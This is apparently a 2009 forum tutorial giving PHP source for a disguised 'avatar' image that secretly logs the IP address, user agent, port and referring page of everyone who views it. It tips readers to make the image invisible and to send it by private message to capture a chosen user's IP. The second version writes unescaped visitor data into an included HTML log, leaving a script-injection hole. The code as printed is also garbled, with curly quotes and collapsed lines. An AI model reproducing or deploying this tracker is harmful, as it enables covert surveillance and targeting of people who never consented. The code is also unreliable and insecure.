Get Ip from Avatar
June 1, 2009Skills: Beginner or Nub.
Screenshot (click 2 enlarge) ::
First version here down for a simple version with a view like notepad
At first, Sorry for my bad english, i’m just an student.
In this tutorial i do learn you all how you can get information from someone’s computers, all information you get is:
- IP
- Agent
- Port
- File
File will contain where your avatar has been seen from the current ip, agent and port.
_______________________________________
What do you need?
- PHP server (http://www.000webhost.com)
- Notepad
- Image
- A textfile to store the ip/agent/port/file.
________________________________________
Got it all? Let’s start
Open notepad, we gonna make avatar.php. Source:
<?php# SETTINGS:$imagelink = “http://www.XXXX.com/# END SETTINGS $fp = fopen(’hack_stored.txt’, ‘a’); # File will be created if (!exist)$ip = $_SERVER[’REMOTE_ADDR’];$agent = $_SERVER[’HTTP_USER_AGENT’];$port = $_SERVER[’REMOTE_PORT’];$file = $_SERVER[’HTTP_REFERER’]; # External page (viewed from this page) fwrite($fp, ” Ip: “.$ip);fwrite($fp, ” User-Agent: “.$agent);fwrite($fp, ” Port: “.$port);fwrite($fp, ” File: “.$file);fwrite($fp, “n”);fclose($fp); header(”content-type: image/gif”);$image = ImageCreateFromGIF($imagelink);imagegif($image);ImageDestroy($image); exit(); # Force exit (Reason: forum keeps loading)?>
In this code will your image be:
images/smilies/icon_mrgreen.gif –> ![]()
What is just a smiley, so it doesn’t have to be a avater, you can just post
it into a forum and nobody will see this. Or a image from 1px by 1px (it could be even resised to 0px.)
Be sure you have this on your host:
1. php script in the code here above
2. The image or smiley (could be from other host)
3. A notepad file named: hack_stored.txt
And all in the same directory.
Tips:
Want to get a specify ip adress?
- Send a PM to a user to get it with a image in it.
Second version with nice tables
If you can handle a bit more with html and php you can make it much better with tables and include the txt file. Wich should make a better layout. Or you let it safe in a database wich could be even good.
Edit: Better layout with a bit html/css.
Okay here is one example how to make a better layout to it.
1. Create log2.html
2. Create log.php (see source here down)
/* This is log.php*/
<html><head><title>Avatar-Gegevens log.</title><style>body {background: lightgrey;}table { margin: 5px;}table th { text-align: center; font-weight: bold; background: blue; color: white; /* font color
*/ font-family: arial;}table td { padding: 5px; margin: 2px; background: white;
}
#header { color: blue; border: 2px solid black; text-align: center;
width: 350px; padding: 10px; margin: 0px auto; }}</style></head><body><div id=’header’><B><i>My avatar log =D. made by Redscare</i></b></div>
<table><thead><th>IP</th><th>Agent</th><th>Port</th><th>File</th></thead><tbody><?phpinclude(’log2.html’)// log2.html is the file with all saved ips & more.?></tbody></table></html>
Create now avatar.php (this is another version because it uses tables).
/* This is avatar.php*/
<?php# SETTINGS:$imagelink = “http://www.XXXX.com/image.gif”;# END SETTINGS $fp = fopen(’log2.html’, ‘a’); # File will be created if (!exist)$ip = $_SERVER[’REMOTE_ADDR’];$agent = $_SERVER[’HTTP_USER_AGENT’];$port = $_SERVER[’REMOTE_PORT’];$file = $_SERVER[’HTTP_REFERER’]; # External page (viewed from this page) fwrite($fp, ” <tr><td> “.$ip);fwrite($fp, ” </td> <td> “.$agent);fwrite($fp, ” </td> <td> “.$port);fwrite($fp, ” </td> <td> “.$file);fwrite($fp, “</td></tr> n”); fclose($fp); header(”content-type: image/gif”);$image = ImageCreateFromGIF($imagelink);imagegif($image);ImageDestroy($image); exit(); # Force exit (Reason: forum keeps loading)
Well done, put them on a host and you got it.




